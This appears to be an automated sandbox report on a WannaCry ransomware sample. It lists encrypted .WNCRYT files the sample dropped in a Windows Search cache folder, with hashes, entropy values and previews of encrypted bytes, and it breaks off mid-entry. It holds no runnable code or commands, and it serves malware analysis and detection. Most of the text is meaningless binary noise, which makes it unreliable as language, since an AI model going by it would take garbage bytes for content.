                                    SHA1:9F269E502E37D058FB806AD0E953C5E8EB128676
                                    SHA-256:9498CDA275585B6F9B59AC8000E33797256EB64FFFCDAAB74A7DADBF521C0F29
                                    SHA-512:EA8DBF1DC5FCAFEBEEE1F5EC454CDBD6A581261418DBA41496C4B138D0AD499FD6DE4D8DCB72992E871BDBF908715CF5E49FF74A82A76329B0418F4E332F3B83
                                    Malicious:true
                                    Preview:WANACRY!......)..\. F#...m,K.Cb..vDC....n.v.O-!..p.q9..]..O`d...U....&r.z.r../..En..Zr.....;...-.6P.5~..,.|...X..S.(.[.......S...........L..R......o.I.A..E..O..S....0..D6.%L.K]'p...-.i......i...q..'..Fs.#.#o......^....#.....%.g.....E..>o..G..;,`+1...O.......Z..........d.L..0.j..gj...ZQ.(.Ne..B.|....M.9r?|3l+.o....x..0tpt..V.$..d.bq.......k.0S.:. 1s(....E..XS..z.......;.9....>.s....k~;0.f]....7.8.g)..>k..de.{.J&B-. ......>/./....v.[.{].~..T.Nf.......p.t).E0....,..%..?5K....5Cz;.&....hz..P...58{.O.m..Zk....r...m......x....Mx........."....L.(!.Q....js.^..L9-8....2....G(.`...w....7 )."..&.2|N+E....b.zJ.Z...cU^q,.p6....!`.g.+-[.JD.c...6W.d...N5.E.`.._V9.w.....X......E.t...;C~.....E."....r..PBVl....j....%...b......^.......y....S.T.wA0...t'.e.h.E1...-.b.i......3.`...-,[..8p..xL..3.(n.8.y.'<.C.G9.Sm..r1....`.e...r.S.m".D.,,...aeq&.A..C.....Ii.Q~X....`...ffT....l[.lQ....vZ..9FZ..,..f.1.p2..d..i.K....@_.u.oJ.&M%.\..10e..?. .1V.J-....."o.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653224421742.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):105096
                                    Entropy (8bit):7.9983502124762085
                                    Encrypted:true
                                    SSDEEP:3072:Q4xUSgTH1WOdxZUSrQm0hkKPHQxc0GfZbbp:R3OrUcF0bwc0G1N
                                    MD5:5FAAB54FBDF8FB7BB685815409D5A888
                                    SHA1:9FC7D728A4D3095D4E3A94AF30B892046620779D
                                    SHA-256:0B4AC8D157B114A97E02504798BE825E6C25F5064C1BC4C1E811A0EC991418B5
                                    SHA-512:71FE15A109D90B5740C5BF22E462679B83B826DD31C1B8613E64DB1C09C2BA0E2FECCB81FDC35DDFDF313F1FE28A681A99EE52746F2E866BA8611FCC11CDA7A4
                                    Malicious:true
                                    Preview:WANACRY!.....N.Y. ....7v..K.C.4.9..N..........\..uJ..u...0'.........7..IV..5...i.3.}.@Wm-B...b..F.E..Iw.?............-".x.?X,...i...........g.Q..t2..!@...Z...h..i..n.i1X.....m.!.....').D.*......ea...;.3P..}.K.F..TGC%V..%..b~.8g...&@.N..6h`.j........ftO....l.......$p...~S.R)..84.v1.....-.\.+..Y.f%....,.0....@...r..^....C..^......P....n..l.>+...4...>x.1..ao..bO3> B...I.g.....M.}].UnFK.K...33....A....4V....W...N..........o....nA........K.....-...pD.C.h/...F.3.4s.}.4.&...@...D.c...5'QP...z.....g._We...Li4Sl.0B.....O.2.......e........F.!~...P.n...n.(.... ....:./..Yw....v....K.C,.C....#..A..T......}...i.g..1z.#.@n..~..xfR..Z[....a.u.",..|.{...1..y8..'.....m....I..Y..bV..o.<,..q...2.C..^.b..<...W..oF..0.,.*{.4I.q.k..<.#...V.......>B.q........m...k...66..E.....TQ^..c1...s2.........E..I..C.A..E..... .....K5..B.W...@2.#...f..>%0qA...P...v...w.t..P.G.V..".S...@<.:)HoN...lM........>.......UH...C%G..I..t. ..]...|M%.7..fX...>.Z..e.Dv..=n.Y

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653524527350.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):110920
                                    Entropy (8bit):7.998315516103196
                                    Encrypted:true
                                    SSDEEP:3072:RCkSJfEx7EIeQAguMUVnkB7ggEX2MBQAcni8r8:zyfg7E5M9ggEma
                                    MD5:AD90016026A41ACE47B6E96269B8E6F9
                                    SHA1:56724326F09FD6DDE42F0B4A36AF83C4546EF0F6
                                    SHA-256:EC04D97C82CD7D6759F6F05D85FFEA44A42CBF57C869DB8BF52A2FF75699AABE
                                    SHA-512:7A7A01AEB60C4F38A98F298AC36FF72FD684F2FEDD165FDFE5E6C958E7734A6E2CD8F695BAF5541E2392DE3551FC61E5CD53A92BAE04EAC573BA3882E65CC981
                                    Malicious:true
                                    Preview:WANACRY!..........\!.G.j.p..\:3._..U.*.6h.O..."f).|"..waF....o0\....;...93g.. .....w"....).Ic.IW.XG.`gw..5.~./.-..w#....b.o..{.<o...s3..uJ.....0?..i..A\AdY.,...D~'s$}GP..e....]/...Zd.b.o'..HkeS...........>....!$_....?.+a.X..[..c-c.O.^G..C.....=mK.....y.}.X......,..............']&B3.gfV0/WL..{.9ik.}T... c..h.T......O....9ZS.5.9.J.M.3.CG-...q.;l.h....Z.......n+,c.........O....*......|...._*....~Y.J/a ..B..Jg}...P_.-o..0=..F..d......[..VJ..S..I..'.Fy.<V....`.C.bZ.[...xG.!V.Q....K....vD2.0a*qT-2..{....~.>If..j].D:;..Gg4|..#.l~.=.n..b ..[O..b.A..QI...k..YQ...;m.F}..x....\..V...|e@Y.x..yF......qOK...O....._..l.#.#;.[...<.7_....(.........3z..f..m"....c.L96B`'.+.."...~..%.d0..^.8)8.>...W....@.;F.6S.>......w..VG|........Sp..&...Y....Y7"...B...W.1..I._a#....@U.a.....h_...&..j6.s}C..s..,.x.x...^.ygIX.....R...B5.Rn...#.o...\O..j.Ho.P.@.b...O..t..#..y1.L.ay.......+..+M..y..I..Z...,Z-.....^.F..-X#Wkr..<.q4..7.Y%.E..e.`..=.t.pB.H....N.....v.......uxe... ....Y.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409655232786058.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123512
                                    Entropy (8bit):7.998496391451271
                                    Encrypted:true
                                    SSDEEP:3072:PrcJ4yyLVvZ+QgWd7QJ7nNdTtURjQbZCXrMhRtapss3:PDvZ+QgiedTtUO1busO
                                    MD5:360536CDA09C91493C511A35F19BDD1C
                                    SHA1:4208A014752B449F36DAF0341123D8042AEFEB43
                                    SHA-256:B61F5887CDCFB078EFC1EBBB0432601956A6116DC188E921B94EFF64DA848EC3
                                    SHA-512:12C3247ECF95552925CAC47E6D7538952388FB1E9210324686048112EDE8435DBAD38AC7A4B6F6E9CD9F270AEF797CB5C80B838CCF52F53573DD45BE949268A2
                                    Malicious:true
                                    Preview:WANACRY!.......n...T..%Jp.\.E.._Yh5...X.........z..#..9M........l..........1x.J...l2. ..V...#"}.x.d...3...=TR....1J.Q...U..&]fg.B'.<....^3..yS..NKj.e.c%.$.>....Q .0..S."zK\....d...T.W....VXn.2.?,w.&.pC...sR....+=.......<S....(.=S.h..y;.Ws5..=.*.XP.%...;.......Y........5..../\.f..N.b...e.'..d".U...F.....d...U......7.B...x..w{.......Abe3H.\z..f4#.!..c...+Z.QS..k.yN....8P...MQ..:...E#...q.a.......&y...Q"F.0n.&S.e.."...f8...1..&."9...IWQ.^.Z....k;...w....tk....O/....9.&9..&.s=G..a9.I..............0..].'...y5...*sc.......Js....&.]....-~aWC.....Z^.T..]....F.K.w..V....,..m........!4H......a.3...7k.?....t.C..#.../..Sg.S_N=.j.%./.I;..O..?.k..Y.y...^.t..}3T.......94.w....ic...^`UI.!..&..y......u....{S..;g..Va...y.....bL.2.../s |...V2&k...._.<.>...f.G.0 ..N3...gj...5.F....7A.!.k.....I..).hv.#p.hl....!.s3v).s6!...7l.'....c..`......J../.]?.2.C..0Mo..S1..%[y...t^.(.....Ve..........0...Nb.B.Kz.b...;9~...'%.]..f....K..B!.e.e%.I.N.s..i.....P......@.3...

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409656564963692.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123512
                                    Entropy (8bit):7.998694279902714
                                    Encrypted:true
                                    SSDEEP:3072:N+PSt8P6G73dVBYy9ICtdR5g9/nEwo0/zIR1zLUkev6KKISuMwOBs:N+PS46GpYRK29sn7R9hL9sD
                                    MD5:47426D7F8858F111033C7E443D856E64
                                    SHA1:F6614481D8B6493714D0C471E46E7B2FDE748B61
                                    SHA-256:61E9F478F5D4298897524ECD6ACCD50B53DD1AF07BDB8200F6F7ABE3BE816CB7
                                    SHA-512:EADCD6A24D5F0D5FCDE30BBE2C7D71EB2D6892C6F15E57201444434B811BA2D92F0D876BB75174B9216069790619C13FA45191A115AF685930445435917469F9
                                    Malicious:true
                                    Preview:WANACRY!....L..6.@u....h6.?.z|..I......8...J......'..b..*...$9.n..A.7..:p..lf.[Q..a]kgn67.80.t.O..u.8.w..O.0.g...JD....9W.6.A%..$...Q{........1..~...Wf.G^..2...c..'B.Kr.4)....:..Yt....C"-...;n...8.../...@/84..O........%....i[va.u=b!..R..Z..f..{.<.d.o. P....Z.......rQ\%!......w........+...8......[.."......... .gc....p..B`..qt......[w-(..5...M..........U.....x..V"8e.#.!J~..[2.:0.....cc..N..6.:0.]Pzt.g.....J.....Q....*dI..........lD.......xH..8D...){RB._7.....k..GIJ.0..pz..`.j.=S.......F.9J.......-S(_.'z.I..^_...r.N.5..CI".}a..AD`/.yQz...<^E.~.6..+..d......?.HUO........m..@U.A.Z0..1.\.w....t.X......t.......F.w.ND.Ee.s6k.l..z...d'<.Yq......n....t*.Tx<<x#...PwXh...l..~.ze.*c.x...4>......l........./....c....\Ruc*@]...9xA....P.A ..Q...vO.......j./9{.....C+^._...n..<.D.*!]...vv..t7....,.&..U..pv..`.._.Z...}.0.'.mB..!.R.Jv.4...s.U.s....?.N..AN...q-..=.x.......5c.I{BJ...\.Jq/DsN..WH.o)+.MC.4...E6#.....?.4x.fp.....m(.........J.k..*.W.M..D.s!.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409657271224821.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123528
                                    Entropy (8bit):7.998382226035542
                                    Encrypted:true
                                    SSDEEP:3072:ZKfDA+edZ1d/b9XR6iX0a49r6kKzY88RN6fxrAo5K:ZKedZ1d/b9XYo0a49ruzfG6xA4K
                                    MD5:AEC0ECBAA3E94AC32BFD26DB7D49D9E3
                                    SHA1:8AFAD5D7A97E19C6F2362B177BE5CA172D72F08C
                                    SHA-256:18E642748351359E48D44C5294ACFF5E9EB3014D3A69E5658E156F255DA1E091
                                    SHA-512:A11A4B8B12EC202B61DC36A43821B011ADA74294BA94DAFF4257B7267831F7B77BCB4AF65C124078C8727B2499CC28D7ED0F56B2AC01E76AA850B34BBFC41EF2
                                    Malicious:true
                                    Preview:WANACRY!.....:...^....h%.4...m.=..:.....[%A.....79..7.[.....BC.....V)v.........w.a<.s..W.9{.R..8/.}........O_...KZ;...%9.k.O.7.-..H.-.;<.].d.(..0..uZ.....FN<...#._.D.W........+/..OA...h....4.VQ(.[.U.2..{I.K.J.....ey.<P.N.......D....Z.. .y2.o.....u.p....l........y.+.:.{.a4.W}....y.....8.Qo...E"..6..:...Q7#...{.....1qL.p..9..|`%. ..L..@te...c..7..^....1;.&`F..+.Me....=dw.r{z..}..).......D.V3.&0..H......@.o.,.X.. .z..3s".o.LX.Z6.0R}..x.....V7.4(.!..F.W.gj&...~Q...~.].4"..'Z....6xa..n.K^z.MU..;..r.'...g_.F.$/K..\...N><{O..Y..u.....3..=..(.%..D.82y....$.....mThCM....Lo.`..-.W.....=.rN....#..+i?].Q../....*..g.|.K..gJNH.....5j....'.V....../.....G.>....&.NY..ST........k4{..~..=H.+..G#.Eb.p2.h.!..?...Y.R;!.:...R.JK....L.w:~D..F..D.|,...h..l{.:>..0(.V_.l......`..9._%...)./..q..H..BF..;.U........jQ....L.....t.X...v..o..b).x..JW..1{k.-......w#.U..[&.*.8.,.,|..z..t..........s.nb..z\a.[.........u.B....e....S.A\y.BM6...G.M6....JRC..T.......+.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658240427405.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123208
                                    Entropy (8bit):7.998649504144934
                                    Encrypted:true
                                    SSDEEP:3072:T96EmtUQ7rR3PfFKa8soQisEO3g5OsCQBsMS+6BAe:5JfQ3JfFSsnipl8sCQBTQBR
                                    MD5:AF5E761EA675B63D8072D3862E370F8C
                                    SHA1:46DE6B657B21868A9A3F8E503828169FF130242B
                                    SHA-256:D4107D88D33FA98C4C226556DE046F5BB97E7FAB9D0496383E6E0A09DA1E15FC
                                    SHA-512:25BA7473F65777CEAAC67AFB3E65B6C86BF72D7580CA0D830B36C7613A4F7486FBD00285E0032FD2796199126A8ED625C5AABA30B02B390E002E916A9F6C6FD5
                                    Malicious:true
                                    Preview:WANACRY!......0.^........O...au.i..M.....@..l..;.........%....5.....NT.......;..H..N.:'3....9.T.7..Z]hWi?.T...)[.......R.T..7........8.}.^h.;.v.Fp.Y.e.EfE...._.o..`...._.`8..Z....D...Mu.+>.3....O......P.l.D...h~Q]~d%../.Z.....N..9Q...k.).+...Of.c4..<f yd{....&.........t.ho.y..-q>.&?......Fs..'.]+..s.g..=d..R....1.bi.j....#..F....^..S...w.Y..U.....u...$".8.!.....G..D...zC.U.{..].....O..cA.d....4.Z..U|D....t8T.X....?.....m./D.....r..U..2.K......(k].g.Mjg._b...4....W.....3&.p..DkBAx g..n./+.a..:..",..Zc....R.J..-.@_...+.^........ G=...yc...R..1...QTN...\......h..J.0........d.W..]XY&....]|z.TB).........dX...*.w.....I)qsHWSf..l.6.....U.pc.......D_f......?.WHX.....n._O...l...F.h~}.9.G....L.k2Pp..'.<=."F...hy...o.k2.....k..>...Z/.F..r..M... ..,C.`...f%0..p..[.U-..Q9,.....RVYv.j....;n....z'BB...9f......A|.....b.cs.:..K.v.h.=.H...4`=....#..R.....o..'0z.....p....L....>...Ql.fa.....$.....[s...!.QaC.........M..-..3-.^.".E...=.....A

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658433494739.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123208
                                    Entropy (8bit):7.998673812209799
                                    Encrypted:true
                                    SSDEEP:3072:0d8F79ofSLU7CjNRS9M5OrNQURaiGRcMeSPX:0mBav7CpFgQs8S+X
                                    MD5:21BDA977F770AB8552E0217ED50FF44B
                                    SHA1:42E68075D767396D9A6A947F0F3E60A8874B33F0
                                    SHA-256:0A20DB44F5C7D19B25CE5A8A4089253BC5AF35D8461D16AE8BD701A9B1F0B20C
                                    SHA-512:15DEFF34BFF5D63FE53EF1DFFACCF0DAD3BA9D9E2A3224714D9F52C57F19161633168482D076B728971ECF333DC536FA9A802338B907174B00E54C4378616024
                                    Malicious:true
                                    Preview:WANACRY!......r.{.....It..J|.Ej+...{..>=/.k .l..&hRc...q...t...7.P..:M.o.P....y....M...!....c...X.V!.....2;...HC..e.I.4.M."Lf..e.......dv.......*.}.!..}.X..)3.I...|...../....q.Fo.7b.0VGM)8..Fp..PC{...z.r......3..Q.....f^...UI.i.B7.......V.Nl......I....&.........f-.).F...dB...%T..pK.8...Fu..+./.Y...NW.<.]..G.,g.....D..Ru<...."?n.....%..k7.e..,....5.9U.$.+.<z....`.......;|r..*.......~....#..98..&.:......lYb1.6.Zx..7DX.@...k.....]RjT0.P...D..Q.h..@......{.897...r.)..}.e....s<x.fwu...}.%C-_/.d.G.9d.M.,.)~cY.=...%.ri..S.....Q....K.d._.BG>..2.L.".DV.......](.x.Z|..&..)..FaY..6|.>b.)GR.F.m.4-.....N..~3...~...@.L.uPbT.7...ul.r...4s.....4..g.d.Y.lJ....tregB(..^.......8...J.........h.VV.J|.!...9........$....:...&..O...hW..^..b..(....,...p.}Q.(.P..x7.....2...g.4..W0..Tp..`.R.PMK....z.S#.*.....gM6x.3D.D..k.v:t`..=}...._;.^.)......oP'9.:.*....:.S_).....L.m...*..`....o.)3..sGJ...Ha.a7..Wa]...-(.EQ. {.N/...f......$l....3...~...z.....UHY..l....PLY..:.(

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658477995265.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):122776
                                    Entropy (8bit):7.998370007065424
                                    Encrypted:true
                                    SSDEEP:3072:HImOqPcDIIVtggXlFQaNsK/1GbCuI9zcA11T:HIBVFlTNsC1AIRcwJ
                                    MD5:DCF1598F1C853DE0E3ED528AFEFFA983
                                    SHA1:FBB73021DEB8963C8585DF3FCCDF3E35221FE4EC
                                    SHA-256:99996E43748FE31CDED9E064AECD3FE87F4F8A87E7C4B33FB65A7A64082B36A0
                                    SHA-512:24D1D2481D503D6CED2E6E0C86C7020322A7552520078961474C12331E43DD086507DCB640F5F8059B7AA89A850A6035C871F633C4055B78F4634DCA57610756
                                    Malicious:true
                                    Preview:WANACRY!.....9d,....k.b..I.=...#....R!.X....5..&......?.H'Lt..j<.?.l..>v]+....7(K..E|..r...}?k.... .N.......-I..rN.I..n3^........1.U...!fd+..M......w.|.C../..X=..q..ss..A.\l....@.'q.B..W.........~....\..4$....m03.T..57.....4m-.(h.u.#......5".....KM.......}.......t..M....x...v..!.{..0.[..0.(...g....`L..B9.......>...Y... .+..^../S........1x!Pp.....e.[...".<..J..../qe..F...ued.F....[.@CF...Y..d.5......9Q.......j....A.V..55=.^....dd...,..j...W.[D...|h!..Q...r....T...r.3_.#.=l...}.w.<l......G..z&....a..?+.A\.=..z........&..)^.r....:-h|.Q+...I.n..].X.:.9b?F..>W.I..,...8...'....GF...Q.z.c..P.....i..Da....5+...x...j..\.6......~..J......"R.Y....X.4..........c.T.i............A...Y;.h.......ps...+.=6#..r3`i.I.W..Q...u.E\.......T.n....}.....}..u. -{.j++[}.u.......aS..B.c..._W.OX...8di...7i.X...;.&_.y.....S..E...#.........QM.Qr0.0P#.a.q.t.z.....fXQ.<;.p..a..d......R0*pl..~y...?HoA..........c..i..X....5...=s0...c.8...i. d..O......B..p9..2.LE

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658976474171.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):120824
                                    Entropy (8bit):7.998440155968964
                                    Encrypted:true
                                    SSDEEP:3072:V/GCMEXaICca9+UNzTk/vvus3FP4MXPsaj1Ws8D+lWAnBc:V/lfqIW9+A/GvzPVXPTZWnYLG
                                    MD5:64F772075481FD39148EB6C8CD494B9E
                                    SHA1:01671DA41528D51D0DE3ECFA32D009E8B2837D12
                                    SHA-256:7497F798FBEB1CEEAF64F138D72150CF374CD5014B038C437BED2EF28D5C547F
                                    SHA-512:AE50A1FBD8ED7D76D65E7B78C5626620FD69E81C1AF43A36AD330FDCC8055A242EDC05CF67AC0314F1FD98F9B6E0FC1D7008190263BCC7042839977C09494831
                                    Malicious:true
                                    Preview:WANACRY!........ok.....(....x,..J..(...gH..i...1.*..P.9.....y.1u...../Qq5v....S.."F...U..v......*G..k.C...L....a..Sx.sM...n...@.%i.+W...'..u.{.T....o../....q.....^...4....O...6.n..Fz.oTi..[....BH<:.....\R0..N."^....2...vV.DhX..:..4.A...2HH=.!..5.g2.H...............VV..N.H.=1.n........w..R..$).....m...*n.....Nf.k$&...Y..$m.D..-Lk.,...oA.a...1.5&KTQ..O..K..n..IS..G.t5..]....d(n.N6ZS..2.<O.LF.....D.#...&..........}.5*7d..8Q.BP'Z`.T...h.H....$.r.....g.a.....5.)..6..2gda.'..f\...;|F.....n.........n~.tU..$v..B. mR..C..m>..em/.....{.1..z.Xco..hM"........Ug.}5z...t..O.C......M.....<.A+~....Y..$=..Hp.f'3\..=..!....Z(.w8...Y.NW....U.w."S.B.a......Z(d}.H].{9.........=<. ....u.eK..M.umA\.3AV.IoE...C.......:...."F....T..0k.\:........^.s...*.}If..K3._Bz>kS6..\nP.........u....$...S8{.....%..R..]0c.\?..5y.....T>F...n.1.qh...+..5.)].W...x.......u'..2@[.:=..6.V...3.-%..\vp.I.5..)....Avj]..ya..Z...I."7.0Z......Yr.......jH,v[..Lo....G....%./.f.....>2b..@....

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659009848568.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):120824
                                    Entropy (8bit):7.9984917961207715
                                    Encrypted:true
                                    SSDEEP:3072:7M/v20Xz3+DaPNt/q0ScJO0h6yp4b3Kx1IeRRJdP/NvYSBB1:7M/PzVXqdcJR14evrXNv5
                                    MD5:530F63073BDC2692833261A93112740A
                                    SHA1:41976BC66DE1EFB9338FF3139F27808AE69B2468
                                    SHA-256:E0C22D28C064690EFE3CD85489E7874453AF3FEB5060F085BB5AE91101980328
                                    SHA-512:A7965AA6DCB9FF4E4EC8EB8E36A6D098E059F6994B398D2E34079525083D5310553B5DC7379F4A4CE0DC051873B486041BF4850B88102F419FB5246861DEFFF0
                                    Malicious:true
                                    Preview:WANACRY!.....$..I.le....H....~.$/....|.2.+$....t*IfnF...R).x.{..u................4...md..Ie..M..X..#...vB$....=LS.e{....1..L.n.j.#...._r..;.u"..7{o....j....x|...4m.3..y..>..?.4.[..W.....;&.....D.A5.e.G*#..,..2....VT....};.l.%.....o.+F.].~.....6a.......8\G..............tSB.V9.....d...h....DqE4.yL.....gy.r.;..h.....Q....B...V.R)p..D.m..!=LTe.."...4`r....l.....k@..W?.....NK.w.v..|N.E..lYa....|..g.ze....|v......4......x!u.0|i.Gf.+.X.......&.....,..=F1..-..^V.L...d.^Eu..5,...3zT......(Z..... Rm......d..T.P2}..h.W.E?.VY.rB.g.p[...S~=P...6.Y..|..h9.....If.M....F)..JA.p.bk.....R.,..=>...<.|.."..>3....ZL.....zO`.....;..........vy...fp3.&.=}X .D.51..C......Y.'.D...!....1.".D....Zk[.3!0=.......h...&Z..{HC..t....s7x...n/..O.....*Q....4....pJ....k..s...n1....!.V..{=.V....m,...]p....N.$.G...........oH.g..Qb..r..v..o..8.......E..v.....$.bxOg.Z8.M(Zw.....:.mA)&e..2.{.._.k.SzK.......y9.-.....kmfd.A..fsvD.Fv..-v.,.+&6X[......h.}.I.P..M.B..aG...`.......+koQ.4.u

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659276420550.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):117064
                                    Entropy (8bit):7.99842334813626
                                    Encrypted:true
                                    SSDEEP:3072:qZ14GwiVTPGEHta9YZ1OgHmBjccRe5ojyaYJJ+5P:qn4RabZ1OfjcWbwJsR
                                    MD5:0A2B6FC1D812DB9FA7CEF615F8CC2D97
                                    SHA1:20303DD408E3A213DEDBECA92E495939A6F65F3A
                                    SHA-256:1B1A2B55279EA2D44354161D95FA89C9E3DA3299DBBCF9D1E456BC5BDF534441
                                    SHA-512:C84774599A9F90E1A25C95A2CC9DBC5496C50244693F473572A924424E11E2C719AA2478F4B2107DB6CEBEEDBA064842DA3631544626DD6321CDC62227094ACF
                                    Malicious:true
                                    Preview:WANACRY!....b.5]..X..F=..:Z\..X.>\!.. ...V>....O..*Q.nrL...zt.....Z...j.>.*....H...@}.0.My...H...[....8]9..e^>.../..S...@...!T./E...6...].$......r!..$.iZ..]u......Zr...R.....r.....Q.]......p+.Cz^{./.2Ilp4_..q.bP4.t....QIQ.9i.6.H.)/.og$.(\e..8...6...I..0.g....,.......y...o....2.?.f..3^...6.....x.b'=..JU@DQ..;.k.7..a.....6a.q?..C....el.............@..6...._k...T.X.T.<z....L..u.3^..[..,x.....o..HL....Q-...p.w.2...A...h....#.."3.T\D.!...b......=O.A.....-.#+O...-M....../..r.Ui[k......&,...K2u,..2.2....$.2hH.....|G...]...{.e..U.4.^..E/H:..MA.5......5rW..a.nP.#2G..hY.......%GuA.A.SfO.../\..'......D...xh..=.hJk.?L..,.$..m.@U!.bL.Q.......P."....:..J.B...D:B.[%q..?....o..vw........4.xT4UjE....w9*..,`.o.......(I9.m..'.y^..+..D.(=A...@.@..]i,?..k.{.D....i{..q/.T.<...bf\.......G...........[l./&...O.x.c..}{2...}G..b..u...c.@..........~\....Y.C........R..|...V.""..G...R.......D...&.S....1c.a.....*.2sk..C.~./.U!.T.]G.LpKK4X.....n8 ...2....2..'5..#....F....

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659576386340.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):116120
                                    Entropy (8bit):7.998219746485349
                                    Encrypted:true
                                    SSDEEP:3072:9Yo8WVizYLAAk53uF0o2h1OddgRmQBlzF/kSqFvWj:9Y9ziIVuFB2LOwLx7qEj
                                    MD5:2D7A6D4E43B2ECA4148A56A9E49189A8
                                    SHA1:EA167650DF2F39912C286710654614A960295135
                                    SHA-256:3C5C517D0D9FB9DB536BF6A254A7CFB104798D3D1641EE8080E2A148ACB722DB
                                    SHA-512:DA3C79EBBB58AEB380BB530BC0344DCDA32199DA963BC52C9D13CB9FB874D7A744555D51A6BE08B0822C24653C475DAA6597BCC977A30692CACB33FB9AAC8980
                                    Malicious:true
                                    Preview:WANACRY!.....Y..?............A%.....ElW.%_.+.....[@Cd..cu.Nb...JC..M.g0.>L..$...l....N..u...W............d...B9lH.Z?..W.......F..r.#..ycTQ........z.$.,..1...kC.+....%..........J.@..nF.+.`...O...s...z....3.z.w;B..8. .`.4.(..u.}s..M.N.4;Q.7.T.<.=./.XJL0H....#5p.....y.......N...6...7..h..^}...K..C*ORqc...o....EnN..|>.T....E.j.Na.....v.a+U.bP..:gS\ON.....*.......Q.(.4......d...q..~...b...q....p.;.DL...(..<a..<.~\t8e&..P/U.a..M.74+...P.[d"..."...&.H.!J..,..v...i.......X..4.5t....A7n......r...E...0..S...W4...../.N....OZ..#w...;.R..C...&..P^...=VF.).U...L.....c.b$$x& k.H.7J.!.........f..../..E.W5n...:w.L..R...b...p.X.3.=......1.4......v...?hb%.....y.0.....m./*)..j#]quH. X....M.h..6T.=......?.[.r...C.5.k...,.j..+..n.Y......a9..QV....G*.q.......U..flF7.zq`...$....R1n../.p..C..m]..a.....p........x.....#;.d;C...;A...Gn...k.....3.T..p..8{}.^....M<r..(v..)/XL._.....Q..$.w..o...7....YC..o7H..B...eJlU.5.......3..../.z..{.m..UHuUUb.-.Kfo..oz....Q5..&.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659909628426.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):116120
                                    Entropy (8bit):7.998409598864339
                                    Encrypted:true
                                    SSDEEP:3072:HZ33cOaImAA6MLrsXg6Q+xHmBJwybycGPwzm:H93Ral/l/uBxHsJdGYm
                                    MD5:10924E8CD6C415329A566DC2F37EC071
                                    SHA1:363DE78D35745EB62B8FBFA162AF402932ABD6BA
                                    SHA-256:9F69ABBE0ED3A342FCEF5153AFD1E40993D80ED1ACC359FC7EDC024EC6F9E7B3
